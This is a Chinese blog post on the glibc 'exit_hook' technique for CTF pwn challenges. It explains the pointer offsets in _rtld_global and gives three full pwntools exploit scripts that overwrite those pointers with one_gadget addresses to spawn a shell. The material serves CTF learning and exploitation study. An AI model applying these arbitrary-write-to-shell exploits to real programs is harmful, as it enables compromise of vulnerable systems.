以前只接触过malloc_hook,free_hook,大概意思就是在调用malloc和free的时候会先看看里面有没有东西,有的话就会执行。以前在看一些师傅们博客的时候有看到过exit_hook,前几天就研究了一下,这篇来做个总结。

  首先我们自己写一个程序,调试一下exit是怎么执行的。

1 #include<stdio.h>
2
3 void main()
4 {
5 printf("bhxdn\n");
6 exit(0);
7 }

  在第六行下断点看一下。

  这里可以看到是执行了__run_exit_handlers。进入这个函数,看看它调用了哪些函数。

  这里显示其中调用的一个函数,是_dl_fini。这里为了方便看,我们直接看_dl_fini的关键源码。

 1 #ifdef SHARED
2 int do_audit = 0;
3 again:
4 #endif
5 for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
6 {
7 /* Protect against concurrent loads and unloads. */
8 __rtld_lock_lock_recursive (GL(dl_load_lock));
9
10 unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
11 /* No need to do anything for empty namespaces or those used for
12 auditing DSOs. */
13 if (nloaded == 0
14 #ifdef SHARED
15 || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
16 #endif
17 )
18 __rtld_lock_unlock_recursive (GL(dl_load_lock));

  看8行和18行,发现是调用了 __rtld_lock_lock_recursive 和 __rtld_lock_unlock_recursive 。

  这里我们看一下这两个函数在哪。

  这两个函数在_rtld_global结构体里面。只要我们将其中一个指向one_gadgets,在CTF中,就可以拿到shell了。

  接下来就是计算偏移了,发现在64位libc-2.23中,这两个指针在结构体中的偏移分别是3848和3856。为了方便,我们可以直接记住这两个指针和libc的基地址之间的距离。

在libc-2.23中
exit_hook = libc_base+0x5f0040+3848

exit_hook = libc_base+0x5f0040+3856

在libc-2.27中

exit_hook = libc_base+0x619060+3840

exit_hook = libc_base+0x619060+3848

  这样一来,只要知道libc版本和任意地址的写,我们可以直接写这个指针,执行exit后就可以拿到shell了。(其实不用非要执行exit,就程序正常返回也可以执行到这里)

ciscn_2019_n_7

  64位程序,保护全开,输入666可以直接泄露libc基地址。在输入name时候可以输入0x10大小,可以溢出。就可以改一个指针,并且往里面写值。

  直接把exit_hook改成one_gadgets拿shell。

 1 from pwn import *
2
3 p = process('./pwn')
4 #p = process(['./pwn'],env={"LD_PRELOAD":"./libc-2.23.so"})
5 #libc = ELF('./libc-2.23.so')
6 libc = ELF('./libc.so.6')
7 elf = ELF('./pwn')
8 context.log_level = 'debug'
9
10 def duan():
11 gdb.attach(p)
12 pause()
13
14 def add(size,name):
15 p.sendlineafter('choice-> \n','1')
16 p.sendlineafter('Length: \n',str(size))
17 p.sendafter('name:\n',name)
18
19 def edit(name,content):
20 p.sendlineafter('choice-> \n','2')
21 p.sendafter('name:\n',name)
22 p.sendafter('contents:\n',content)
23
24 def show():
25 p.sendlineafter('choice-> \n','3')
26
27 def exit():
28 p.sendlineafter('choice-> \n','4')
29
30 def secret():
31 p.sendlineafter('choice-> \n','666')
32
33 og=[0x45226,0x4527a,0xf0364,0xf1207]
34 #og=[0x45216,0x4526a,0xf02a4,0xf1147]
35 secret()
36 libc_base = int(p.recv(14),16)-libc.symbols['puts']
37 print 'libc_base-->'+hex(libc_base)
38 exit_hook = libc_base+0x5f0040+3848
39 print 'exit_hook-->'+hex(exit_hook)
40 shell = libc_base+og[3]
41 add(0x30,'aaaaaaaa'+p64(exit_hook))
42 edit('aaaaaaaa',p64(shell))
43 sleep(0.5)
44 p.sendline('a')
45 p.interactive()

hctf2018_the_end

  开局直接给libc地址,然后就是有五次机会可以任意写入一个字节。直接往exit_hook里面写one_gadgets拿shell。

 1 from pwn import *
2
3 #p = process('./pwn')
4 p = process(['./pwn'],env={'LD_PRELOAD':'./libc-2.27-buu.so'})
5 #libc = ELF('./libc.so.6')
6 libc = ELF('./libc-2.27-buu.so')
7 context.log_level = 'debug'
8
9 #og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
10 og = [0x4f2c5,0x4f322,0xe569f,0xe585f,0xe5858,0xe5863,0x10a38c,0x10a398]
11
12 p.recvuntil('gift ')
13 libc_base = int(p.recv(14),16)-libc.symbols['sleep']
14 exit_hook = libc_base+0x619060+3840
15 print 'libc_base-->'+hex(libc_base)
16 print 'exit_hook-->'+hex(exit_hook)
17 shell = libc_base+og[2]
18 for i in range(len(og)):
19 print 'i-->'+hex(libc_base+og[i])
20
21 for i in range(5):
22 p.send(p64(exit_hook+i))
23 sleep(0.1)
24 p.send(p64(shell)[i])
25 sleep(0.1)
26
27 p.interactive()

bbctf_2020_write

  还是开局直接给libc地址,可以任意地址写,按道理是有超级多种方法拿shell的。

 1 from pwn import *
2
3 #p = process('./pwn')
4 p = process(['./pwn'],env={'LD_PRELOAD':'./libc-2.27-buu.so'})
5 #libc = ELF('./libc.so.6')
6 libc = ELF('./libc-2.27-buu.so')
7 context.log_level = 'debug'
8
9 def duan():
10 gdb.attach(p)
11 pause()
12
13 def write(ptr,content):
14 p.sendlineafter('uit\n','w')
15 p.sendlineafter('ptr: ',ptr)
16 p.sendlineafter('val: ',content)
17
18 def quit():
19 p.sendlineafter('uit\n','q')
20
21 #og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
22 og = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398]
23
24 p.recvuntil('puts: ')
25 libc_base = int(p.recv(14),16)-libc.symbols['puts']
26 print 'libc_base'+hex(libc_base)
27 exit_hook=libc_base+0x619060+3840
28 print 'exit_hook-->'+hex(exit_hook)
29 shell = libc_base+og[2]
30 for i in range(len(og)):
31 print str(i)+'-->'+hex(libc_base+og[i])
32
33 write(str(exit_hook),str(shell))
34 quit()
35 p.interactive()

参考:https://blog.csdn.net/qq_43116977/article/details/105485947

上述例子均可在BUUCTF上复现。

exit_hook在pwn题中的应用的更多相关文章

  1. 由一道CTF pwn题深入理解libc2.26中的tcache机制

    本文首发安全客:https://www.anquanke.com/post/id/104760 在刚结束的HITB-XCTF有一道pwn题gundam使用了2.26版本的libc.因为2.26版本中加 ...

  2. pwn 题GDB调试技巧和exp模板

    GDB分析ELF文件常用的调试技巧 gdb常用命令 首先是gbd+文件名 静态调试 ,gdb attach +文件名 动态调试 为了方便查看堆栈和寄存器 最好是安装peda插件 安装 可以通过pip直 ...

  3. PWN题搭建

    0x00.准备题目 例如:level.c #include <stdio.h> #include <unistd.h> int main(){ char buffer[0x10 ...

  4. pwn200,一道不完全考察ret2libc的小小pwn题

    pwn200 ---XDCTF-2015 每日一pwn,今天又做了一个pwn,那个pwn呢???攻防世界的进阶区里的一道小pwn题,虽然这个题考察的知识不多,rop链也比较好构建,但是还是让我又学到了 ...

  5. 在洛谷3369 Treap模板题 中发现的Splay详解

    本题的Splay写法(无指针Splay超详细) 前言 首先来讲...终于调出来了55555...调了整整3天..... 看到大部分大佬都是用指针来实现的Splay.小的只是按照Splay的核心思想和原 ...

  6. 第一解出的pwn题

    虽然题目不难,但是 是我第一次做出的pwn题,得写下. __int64 sub_4007E6() { char s1; // [sp+0h] [bp-30h]@1 memset(&s1, , ...

  7. Wilson's theorem在RSA题中运用

    引言 最近一段时间在再练习数论相关的密码学题目,自己之前对于数论掌握不是很熟练,借此机会先对数论基本的四大定理进行练习 这次的练习时基于Wilson's theorem(威尔逊定理)在RSA题目中的练 ...

  8. pwn题命令行解题脚本

    目录 脚本说明 脚本内容 使用 使用示例 参考与引用 脚本说明 这是专门为本地调试与远程答题准备的脚本,依靠命令行参数进行控制. 本脚本支持的功能有: 本地调试 开启tmux调试 设置gdb断点,支持 ...

  9. 【经验】 Java BigInteger类以及其在算法题中的应用

    [经验] Java BigInteger类以及其在算法题中的应用 标签(空格分隔): 经验 本来在刷九度的数学类型题,有进制转换和大数运算,故而用到了java BigInteger类,使用了之后才发现 ...

随机推荐

  1. [cf611H]New Year and Forgotten Tree

    首先,来构造这棵树的形态 称位数相同的点为一类点,从每一类点中任选一个点,具有以下性质: 1.每一类中选出的点的导出子图连通(是一颗树) 2.每一条边必然有一个端点属于某一类中选出的点 (关于&quo ...

  2. 新玩法-使用AllArgsConstructor+filal代替autowired

    和下面的代码一样: Springboot官方建议使用final来修饰成员变量,然后通过构造方法来进行注入原因:final修饰的成员变量是不能够被修改的,反射那就没办法了 还有一种写法: @Requir ...

  3. Python实战:截图识别文字,过万使用量版本!(附源码!!)

    前人栽树后人乘凉,以不造轮子为由 使用百度的图片识字功能,实现了一个上万次使用量的脚本. 系统:win10 Python版本:python3.8.6 pycharm版本:pycharm 2021.1. ...

  4. MemoryMappedFile 在IIS与程序跨程序交互数据的权限问题

    使用IIS 与程序交互时,发布到IIS上获取不到数据提供方的数据(VSF5运行可以获取到数据),MemoryMappefFile基本使用不做介绍 数据方 static void Main(string ...

  5. Terminator--最强Ubuntu终端

    个人使用的一个非常好用的Ubuntu终端软件. Terminator的安装和配置 安装 Ubuntu sudo add-apt-repository ppa:gnome-terminator sudo ...

  6. Small but Funny Tricks [Remember them all!]

    模数 1e9 的神奇求行列式: #include <bits/stdc++.h> using namespace std; const int maxn = 1e2, mod = 1e9; ...

  7. DirectX12 3D 游戏开发与实战第九章内容(上)

    仅供个人学习使用,请勿转载. 9.纹理贴图 学习目标: 学习如何将局部纹理映射到网格三角形上 探究如何创建和启用纹理 学会如何通过纹理过滤来创建更加平滑的图像 探索如何使用寻址模式来进行多次纹理贴图 ...

  8. 数据仓库和数据集市:ODS、DW、DWD、DWM、DWS、ADS

    @ 目录 数据流向 何为数仓DW 主要特点 与数据库的对比 为何要分层 数据分层 数据运营层ODS 数据仓库层 数据细节层DWD 数据中间层DWM 数据服务层DWS(DWT) 数据应用层ADS 事实表 ...

  9. R语言实战-Part 2笔记

    R 语言实战(第二版) part 2 基本方法 -------------第6章 基本图形------------------ #1.条形图 #一般是类别型(离散)变量 library(vcd) he ...

  10. 创建一个vue实例

    创建一个vue实例 每个 Vue 应用都是通过用 Vue 函数创建一个新的 Vue 实例开始的: var vm = new Vue({ // 选项 }) 虽然没有完全遵循 MVVM 模型,但是 Vue ...